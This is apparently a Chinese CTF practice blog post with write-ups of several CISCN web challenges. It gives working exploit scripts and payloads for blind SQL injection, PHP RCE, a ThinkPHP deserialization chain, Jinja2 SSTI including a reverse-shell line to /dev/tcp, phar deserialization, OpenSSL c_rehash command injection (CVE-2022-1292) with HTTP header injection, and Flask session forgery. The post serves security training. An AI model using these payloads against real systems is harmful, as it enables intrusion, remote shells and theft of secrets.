目录

  1. 1. 前言
  2. 2. [CISCN 2019华北Day2]Web1
  3. 3. [CISCN 2019初赛]Love Math
  4. 4. [CISCN 2022 初赛]ezpop
  5. 5. [CISCN 2019华东南]Double Secret
    1. 5.1. 法一:<type ‘file’>
    2. 5.2. 法二:__builtins__模块/os模块
    3. 5.3. 法三:通过写 jinja2 的 environment.py 执行命令
  6. 6. [CISCN 2019华北Day1]Web1 Dropbox
  7. 7. [CISCN 2022 初赛]online_crt
    1. 7.1. CVE-2022-1292 OpenSSL命令注入漏洞
    2. 7.2. go的RawPath特性
    3. 7.3. url注入http头
    4. 7.4. 构造利用链
      1. 7.4.1. 法1:base64编码
      2. 7.4.2. 法2:获取/
  8. 8. [CISCN 2019华东南]Web4
    1. 8.1. uuid.getnode()
  9. 9. [CISCN 2023 西南]do_you_like_read

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

CISCN刷题记录

2023/5/5 Web 刷题
  |     |   总文章阅读量:

前言

备战CISCN,先在NSS上看看前几年的题


[CISCN 2019华北Day2]Web1

布尔盲注-异或注入

进入题目,直接给了我们一个查询框

image-20231016162536810

注入点在post传参的id,测试发现是数字型注入

尝试万能密码1'or 1 = 1#,返回SQL Injection Checked.,说明存在过滤

fuzz一下,发现关键字ban了空格,反引号,"handlerinformation_schemaunionandorlimitgroupupdatexmlinsertupdate#--

过滤有点多,常规的注入方法看来行不通

不过题目上面已经告诉我们flag在flag表的flag列中了

所以这里可以考虑用盲注

我们知道0^1==1,而id=1时有明确的返回内容Hello, glzjin wants a girlfriend.

image-20231016164816811

所以可以利用这点进行盲注匹配flag

exp:

import requests

url = 'http://node4.anna.nssctf.cn:28472/index.php'
flag = ''
i = 0
while True:
    head = 1
    tail = 127
    i += 1
    while head < tail:
        mid = (head + tail) >> 1
        payload = f"0^if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,0)"
        data = {"id": payload}
        r = requests.post(url, data=data)
        if "Hello, glzjin wants a girlfriend." in r.text:
            head = mid + 1
        else:
            tail = mid
    if head != 1:
        flag += chr(head)
        print(flag)
    else:
        break

注意由于过滤了空格,查询的表名和列名要用括号包裹


[CISCN 2019初赛]Love Math

利用数学函数进行RCE

打开看到题目php源码

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

这里是白名单过滤,只能用数学函数

数字与字符串的转换原理参考我的rce博客即可

<?php
echo base_convert('system',36,10);
echo "\n";
echo base_convert('getallheaders',30,10);

getallheaders(){1}函数进行参数带外到请求头,进行任意命令执行

payload:

?c=base_convert(1751504350,10,36)(base_convert(8768397090111664438,10,30)(){1})

1:ls /

image-20231020145512230


[CISCN 2022 初赛]ezpop

ThinkPHP V6.0.12LTS反序列化漏洞

进入题目,可知框架是ThinkPHP V6.0.12LTS

dirsearch扫一下,发现存在www.zip源码泄露

网上搜一下,会发现存在反序列化漏洞,具体研究可以移步到我的另一篇文章中:https://c1oudfl0w0.github.io/blog/2023/10/24/ThinkPHP%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/

在app/controller/Index.php中发现反序列化入口

<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V' . \think\facade\App::version() . '<br/><span style="font-size:30px;">14载初心不改 - 你值得信赖的PHP框架</span></p><span style="font-size:25px;">[ V6.0 版本由 <a href="https://www.yisu.com/" target="yisu">亿速云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ee9b1aa918103c4fc"></think>';
    }

    public function hello($name = 'ThinkPHP6')
    {
        return 'hello,' . $name;
    }
    public function test()
    {
   	unserialize($_POST['a']);
    }
    
}

poc:

<?php
 
namespace think {
    abstract class Model
    {
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        function __construct($obj = '')
        {
            $this->lazySave = True;
            $this->data = ['whoami' => ['ls /']];#  这里需要自己进行更改!!!
            $this->exists = True;
            $this->table = $obj;
            $this->withAttr = ['whoami' => ['system']];
            $this->json = ['whoami', ['whoami']];
            $this->jsonAssoc = True;
        }
    }
}
 
namespace think\model {
 
    use think\Model;
 
    class Pivot extends Model
    {
    }
}
 
namespace {
    echo (urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}

建议用burpsuite发包


[CISCN 2019华东南]Double Secret

python2 ssti

进入题目,只告诉我们“Welcome To Find Secret”

那就dirsearch扫一下看看有没有可利用的路由

image-20231031215159094

访问/secret,告诉我们“Tell me your secret.I will encrypt it so others can’t see”

应该是让我们传入secret参数,尝试ssti注入,直接返回报错页面

image-20231031215630206

在报错信息里发现源码泄露

image-20231031215835819

看起来是对传入的secret进行rc4解密再进行渲染,rc4的key为HereIsTreasure

那么套脚本里生成{{7*7}}看看

# RC4是一种对称加密算法,那么对密文进行再次加密就可以得到原来的明文

import base64
from urllib.parse import quote


def rc4_main(key="init_key", message="init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return crypt


def rc4_init_sbox(key):
    s_box = list(range(256))  # 我这里没管秘钥小于256的情况,小于256不断重复填充即可
    # print("原来的 s 盒:%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒:%s"% s_box)
    return s_box


def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    # print("res用于加密字符串,加密后是:%res" %res)
    cipher = "".join(res)
    print("加密后的字符串是:%s" % quote(cipher))
    # print("加密后的输出(经过编码):")
    # print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
    return str(base64.b64encode(cipher.encode('utf-8')), 'utf-8')


rc4_main("HereIsTreasure", "{{7*7}}")

image-20231031220443864

成功回显49,接下来就是ssti的部分了,注意python版本是2.7

先用{{''.__class__.__mro__[2].__subclasses__()}}查找一下可以利用的类,因为是python2,所以很多类的利用方法和python3有较大差别

法一:<type ‘file’>

在python2中,我们可以用<type 'file'>来调用文件读写

{{''.__class__.__mro__[2].__subclasses__()[40]("/flag.txt").read()}}

法二:__builtins__模块/os模块

__builtins__模块

{{[].__class__.__base__.__subclasses__()[59].__init__['__globals__']['__builtins__']['eval'](\"__import__('os').popen('ls').read()\")}}

os模块

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

法三:通过写 jinja2 的 environment.py 执行命令

#假设在/usr/lib/python2.7/dist-packages/jinja2/environment.py, 弹一个shell
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/usr/lib/python2.7/dist-packages/jinja2/environment.py').write("\nos.system('bash -i >& /dev/tcp/[IP_ADDR]/[PORT] 0>&1')") }}

[CISCN 2019华北Day1]Web1 Dropbox

任意文件下载+phar文件上传

进入题目,注册,登录

看到一个文件上传的按钮,只能传png,jpg,gif

随便上传个图片马之后发现后缀没变,但是可以下载下来,抓包看一下发现存在任意文件下载

测试一下下载/etc/passwd

image-20231111074239631

成功回显,那就先下个upload.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

include "class.php";

if (isset($_FILES["file"])) {
    $filename = $_FILES["file"]["name"];
    $pos = strrpos($filename, ".");
    if ($pos !== false) {
        $filename = substr($filename, 0, $pos);
    }
    
    $fileext = ".gif";
    switch ($_FILES["file"]["type"]) {
        case 'image/gif':
            $fileext = ".gif";
            break;
        case 'image/jpeg':
            $fileext = ".jpg";
            break;
        case 'image/png':
            $fileext = ".png";
            break;
        default:
            $response = array("success" => false, "error" => "Only gif/jpg/png allowed");
            Header("Content-type: application/json");
            echo json_encode($response);
            die();
    }

    if (strlen($filename) < 40 && strlen($filename) !== 0) {
        $dst = $_SESSION['sandbox'] . $filename . $fileext;
        move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
        $response = array("success" => true, "error" => "");
        Header("Content-type: application/json");
        echo json_encode($response);
    } else {
        $response = array("success" => false, "error" => "Invaild filename");
        Header("Content-type: application/json");
        echo json_encode($response);
    }
}
?>

正常的文件上传源码,发现class.php,下载

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

很明显这里存在phar反序列化

再把另外几个功能的源码下下来

download.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

可以发现这里设置了open_basedir,所以我们不能直接读flag

delete.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

这里也会调用File类,同样存在任意文件删除

那么我们的重心就在File类上面

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}

里面有不少能触发phar反序列化的函数

image-20231111083610010

接下来就是构造pop链

这里只保留关键的部分

//User类
    public function __destruct() {
        $this->db->close();
    }
//Filelist类
public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}
//File类
 public function close() {
        return file_get_contents($this->filename);
    }

首先我们的目标是触发File::close,而上面User::__destruct很明显会触发Filelist::__call

调用close()触发Filelist::__call时的流程:先将方法名存储$this->funcs数组里,然后依次调用$this->files数组里的元素的close()方法,然后存储在$this->results[$file->name()][$func],如果是File::close(),就是执行file_get_contents,所以$this->files数组里的元素必须为File类的对象

然后看Filelist::__destruct,这里先输出$this->funcs里的元素的值,然后输出$this->results数组里的数组元素的键值对,而在__call()函数里我们存储的文件的内容就在$result as $func => $value$value里,所以只要构造$this->files的值,就可以在最后面输出其文件的内容,这样就可以获得flag

那么链子很明显了:User::__destruct -> Filelist::__call -> File::close,最后通过Filelist::__destruct输出结果

但是在download.php里面有openbase_dir的限制,不让我们读取根目录

不过delete.php也调用了File类,那里没有限制,所以我们可以用delete.php来读取flag,这里要猜测flag为flag.txt

构造phar包

<?php
class User
{
    public $db;
    public function __construct()
    {
        $this->db = new FileList();
    }
}
class File
{
    public $filename = "/flag.txt";
}
class FileList
{
    private $files;
    private $results;
    private $funcs;
    public function __construct()
    {
        $file = new File();
        $this->files = array($file);
        $this->results = array();
        $this->funcs = array();
    }
}

$a = new User();
@unlink('test.phar');   //删除之前的test.phar文件(如果有)
$phar = new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$phar->setMetadata($a); //写入meta-data
$phar->addFromString("test.txt", "test");  //添加要压缩的文件
$phar->stopBuffering();//签名自动计算

生成之后改成png上传即可

然后在delete.php用phar伪协议读取

image-20231111091207876


[CISCN 2022 初赛]online_crt

CVE-2022-1292 + go的RawPath特性 + 前后端url注入

参考:https://rce.moe/2022/05/30/c-rehash-CVE-2022-1292-ciscn-2022-online-crt/

下载附件,审计代码

app.py

import datetime
import json
import os
import socket
import uuid
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from flask import Flask
from flask import render_template
from flask import request

app = Flask(__name__)

app.config['SECRET_KEY'] = os.urandom(16)

def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):
    root_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )
    subject = issuer = x509.Name([
        x509.NameAttribute(NameOID.COUNTRY_NAME, Country),
        x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),
        x509.NameAttribute(NameOID.LOCALITY_NAME, City),
        x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),
        x509.NameAttribute(NameOID.COMMON_NAME, CommonName),
        x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),
    ])
    root_cert = x509.CertificateBuilder().subject_name(
        subject
    ).issuer_name(
        issuer
    ).public_key(
        root_key.public_key()
    ).serial_number(
        x509.random_serial_number()
    ).not_valid_before(
        datetime.datetime.utcnow()
    ).not_valid_after(
        datetime.datetime.utcnow() + datetime.timedelta(days=3650)
    ).sign(root_key, hashes.SHA256(), default_backend())
    crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt"
    with open(crt_name, "wb") as f:
        f.write(root_cert.public_bytes(serialization.Encoding.PEM))
    return crt_name


@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template("index.html")


@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
    Country = request.form.get("Country", "CN")
    Province = request.form.get("Province", "a")
    City = request.form.get("City", "a")
    OrganizationalName = request.form.get("OrganizationalName", "a")
    CommonName = request.form.get("CommonName", "a")
    EmailAddress = request.form.get("EmailAddress", "a")
    return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)


@app.route('/createlink', methods=['GET'])
def info():
    json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
    return json.dumps(json_data)


@app.route('/proxy', methods=['GET'])
def proxy():
    uri = request.form.get("uri", "/")
    client = socket.socket()
    client.connect(('localhost', 8887))
    msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''
    client.send(msg.encode())
    data = client.recv(2048)
    client.close()
    return data.decode()

app.run(host="0.0.0.0", port=8888)

路由有//getcrt/createlink/proxy

/getcrt路由:输入几个参数,调用get_crt生成crt文件

/createlink路由:读取刚才生成的crt文件

/proxy路由:连接内网,与go源码对接

main.go

package main

import (
	"github.com/gin-gonic/gin"
	"os"
	"strings"
)

func admin(c *gin.Context) {
	staticPath := "/app/static/crt/"
	oldname := c.DefaultQuery("oldname", "")
	newname := c.DefaultQuery("newname", "")
	if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
		c.String(500, "error")
		return
	}
	if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
		err := os.Rename(staticPath+oldname, staticPath+newname)
		if err != nil {
			return
		}
		c.String(200, newname)
		return
	}
	c.String(200, "no")
}

func index(c *gin.Context) {
	c.String(200, "hello world")
}

func main() {
	router := gin.Default()
	router.GET("/", index)
	router.GET("/admin/rename", admin)

	if err := router.Run(":8887"); err != nil {
		panic(err)
	}
}

功能就是修改crt文件的文件名

到这里我们知道这题肯定要从crt文件入手,网上搜一下有没有相关漏洞,这时候我们把注意点放在c_rehash这个没见过的命令上

c_rehash是openssl中的一个用perl编写的脚本工具,用于批量创建证书等文件、hash命名的符号链接

搜一下,可以发现存在CVE-2022-1292

CVE-2022-1292 OpenSSL命令注入漏洞

可操作/etc/ssl/certs/目录的攻击者可注入恶意命令,以c_rehash脚本的权限执行任意命令。

网上没搜到exp,不过找到了自检方法,脚本中要存在以下代码

$fname =~s/"/"\\\\\\\\""/g;
my ($hash, $fprint) =`"$openssl" x509 $x509hash -fingerprint -noout -in "$fname"`;
$fname =~s/"/"\\\\\\\\""/g;
my ($hash, $fprint) =`"$openssl" crl $crlhash -fingerprint -noout -in "$fname"`;

而比赛时我们需要根据openssl官方在github上的diff来反推利用方式:https://github.com/openssl/openssl/commit/7c33270707b568c524a8ef125fe611a8872cb5e8?diff=split&w=0

image-20231203232813819

勉强靠逻辑审一下perl

很明显,修复前的代码中存在把文件名直接拼接到命令的行为,所以只要在文件名中使用反引号就可以执行任意命令

点一下expand up的按钮向上追溯

sub hash_dir {
    my %hashlist;
    print "Doing $_[0]\n";
    chdir $_[0];
    opendir(DIR, ".");
    my @flist = sort readdir(DIR);
    closedir DIR;
    if ( $removelinks ) {
        # Delete any existing symbolic links
        foreach (grep {/^[\da-f]+\.r{0,1}\d+$/} @flist) {
            if (-l $_) {
                print "unlink $_" if $verbose;
                unlink $_ || warn "Can't unlink $_, $!\n";
            }
        }
    }
    FILE: foreach $fname (grep {/\.(pem)|(crt)|(cer)|(crl)$/} @flist) {
        # Check to see if certificates and/or CRLs present.
        my ($cert, $crl) = check_file($fname);
        if (!$cert && !$crl) {
            print STDERR "WARNING: $fname does not contain a certificate or CRL: skipping\n";
            next;
        }
        link_hash_cert($fname) if ($cert);
        link_hash_crl($fname) if ($crl);
    }
}
sub check_file {
    my ($is_cert, $is_crl) = (0,0);
    my $fname = $_[0];
    open IN, $fname;
    while(<IN>) {
        if (/^-----BEGIN (.*)-----/) {
            my $hdr = $1;
            if ($hdr =~ /^(X509 |TRUSTED |)CERTIFICATE$/) {
                $is_cert = 1;
                last if ($is_crl);
            } elsif ($hdr eq "X509 CRL") {
                $is_crl = 1;
                last if ($is_cert);
            }
        }
}

hash_dir部分会检查文件后缀名是否为.(pem)|(crt)|(cer)|(crl)

check_file部分检查文件内容,文件头要符合crt文件的格式,那么到时候我们要带上-----BEGIN CERTIFICATE-----的文件头

这样子我们可以整理一下利用条件:

  1. 在执行c_rehash命令时目标目录下文件可控
  2. 文件后缀符合要求
  3. 文件内容必须包含证书或者是吊销列表
  4. 文件名可控

题目中/getcrt生成证书的功能就可以创建一个满足这些要求的文件

而生成之后我们就需要想办法把文件重命名为我们要注入的命令

而go重命名部分这里存在一个过滤

if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
		err := os.Rename(staticPath+oldname, staticPath+newname)
		if err != nil {
			return
		}
		c.String(200, newname)
		return
	}

会检查url中未经转义的路径和host的值

go的RawPath特性

要我们访问路由,又检测未转义的路径是否为空,猜测应该是存在某个特性

跟踪RawPath的定义,翻一下net库url包的源码

image-20231204001023427

从注释我们可以得知,go会对原始url进行反转义操作(URL解码),如果反转义后再次转义的url与原始url不同,那么RawPath会被设置为原始url,反之置为空

而根据示例,只要我们把url中的任意一个斜杠进行url编码,就可以绕过这个检查了

url注入http头

python发出的请求包中

    msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''

host头被写死为test_api_host,那么我们就要想办法让go后端认为host的值为admin

注意到python在代理请求时直接使用了socket发送raw数据包,在数据包{uri}处没有过滤

所以我们可以直接在uri注入一个host头来替换原先的头,类似CVE-2019-9740

我们注入的内容要为整个请求包体,所以构造完的请求包要为

GET / HTTP/1.1
Host: admin
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

这样就绕过了重命名的检查

构造利用链

先请求/getcrt路由,随便输点什么,生成一个证书,然后会返回证书路径

image-20231204001930900

记住路径static/crt/9bfece48-18d9-48ad-a5f5-614b20b15e07.crt

然后请求/proxy修改证书名注入命令

首先我们需要知道linux文件名可用字符包含大部分可打印字符,但是斜杠不行

所以怎么执行命令也是个问题

法1:base64编码

编码命令执行,首先就会想到base64

echo Y2F0IC9mbGFnID4gMQ== |base64 -d|bash

一点tip:可以直接cat /*读取根目录下的所有内容,在这种写文件带外的情况有时候还挺好用的

根据上面的trick编写exp:

import urllib.parse
uri = '''/admin%2frename?oldname=9bfece48-18d9-48ad-a5f5-614b20b15e07.crt&newname=`echo%20Y2F0IC8qIA==|base64%20--decode|bash>flag.txt`.crt HTTP/1.1
Host: admin
Content-Length: 136
Connection: close

'''
gopher = uri.replace("\n","\r\n")
payload = urllib.parse.quote(gopher)
print(payload)

生成payload:

/admin%252frename%3Foldname%3D9bfece48-18d9-48ad-a5f5-614b20b15e07.crt%26newname%3D%60echo%2520Y2F0IC8qIA%3D%3D%7Cbase64%2520--decode%7Cbash%3E1.txt%60.crt%20HTTP/1.1%0D%0AHost%3A%20admin%0D%0A

接下来发出请求,注意这个路由的请求方式是request.form.get("uri", "/"),get请求但是发送表单

bp里面先选为POST请求,之后改成GET就行,然后将2次url编码的结果复制到uri上时,注意在最后打上两个回车即\r\n

注意换行数

image-20231204005845034

然后访问/createlink路由触发命令执行

最后访问/static/crt/flag.txt得到flag即可

image-20231204011024308

法2:获取/

如果上面base64编码用不了,那我们可以考虑利用截断环境变量获取斜杠,可以参考我的rce总结:https://c1oudfl0w0.github.io/blog/2023/03/15/RCE%E6%80%BB%E7%BB%93/#%E7%B3%BB%E7%BB%9F%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F%E6%9E%84%E9%80%A0%E5%91%BD%E4%BB%A4

${SHELL:0:1}

可以使用SHELL环境变量的开头第一个字符来替代斜杠

如果用不了SHELL,也可以直接env >qweqwe找找靶机的环境变量有没有哪个变量值为斜杠的拿来用


[CISCN 2019华东南]Web4

任意文件读取+随机数获取+session伪造

进入题目,点击链接,发现来到一个文件读取的路由/read?url=https://baidu.com

那么我们先读取一下当前进程/proc/self/cmdline

得到/usr/local/bin/python/app/app.py

接下来读app.py(直接读app.py就行不用加绝对路径)

# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'

@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )

审计一下代码,开了debug模式,flag在/flag路由下,需要满足session的值为username=fuck

而SECRET_KEY的值是随机的,种子是random.seed(uuid.getnode())

uuid.getnode()

获取硬件地址作为48位正整数。“硬件地址”是指网络接口的MAC地址,在具有多个网络接口的机器上,可以返回其中任何一个的MAC地址。

那看来我们只需要获取靶机的mac地址就能得到seed来获得SECRET_KEY了

在flask算pin那里我们就知道mac的地址在/sys/class/net/eth0/address

利用任意文件读取的功能读到mac地址

image-20231210160046977

然后编写exp获得SECRET_KEY

import random

mac="02:42:ac:02:a0:f4"
nmac=mac.replace(":", "")
random.seed(int(nmac,16)) # 转成16进制
key = str(random.random() * 233)
print(key)

注意:从上面的源码和网页的响应头我们都可以知道题目的环境是python2,python2和python3在这里保留的位数不一样,所以我们要在python2上面跑这个exp

image-20231210160312508

image-20231210160642204

接下来伪造session即可

python flask_session_cookie_manager3.py decode -s 230.725199684 -c "eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.ZXVuTw.i5NQJR0Egpc03Nf9EDf4uTSBCQY"
# {'username': b'www-data'} 这里要带上SECRET_KEY才能解码出正确的格式

python flask_session_cookie_manager3.py encode -s 230.725199684 -t {'username':'fuck'}

带着cookie访问/flag路由即可


[CISCN 2023 西南]do_you_like_read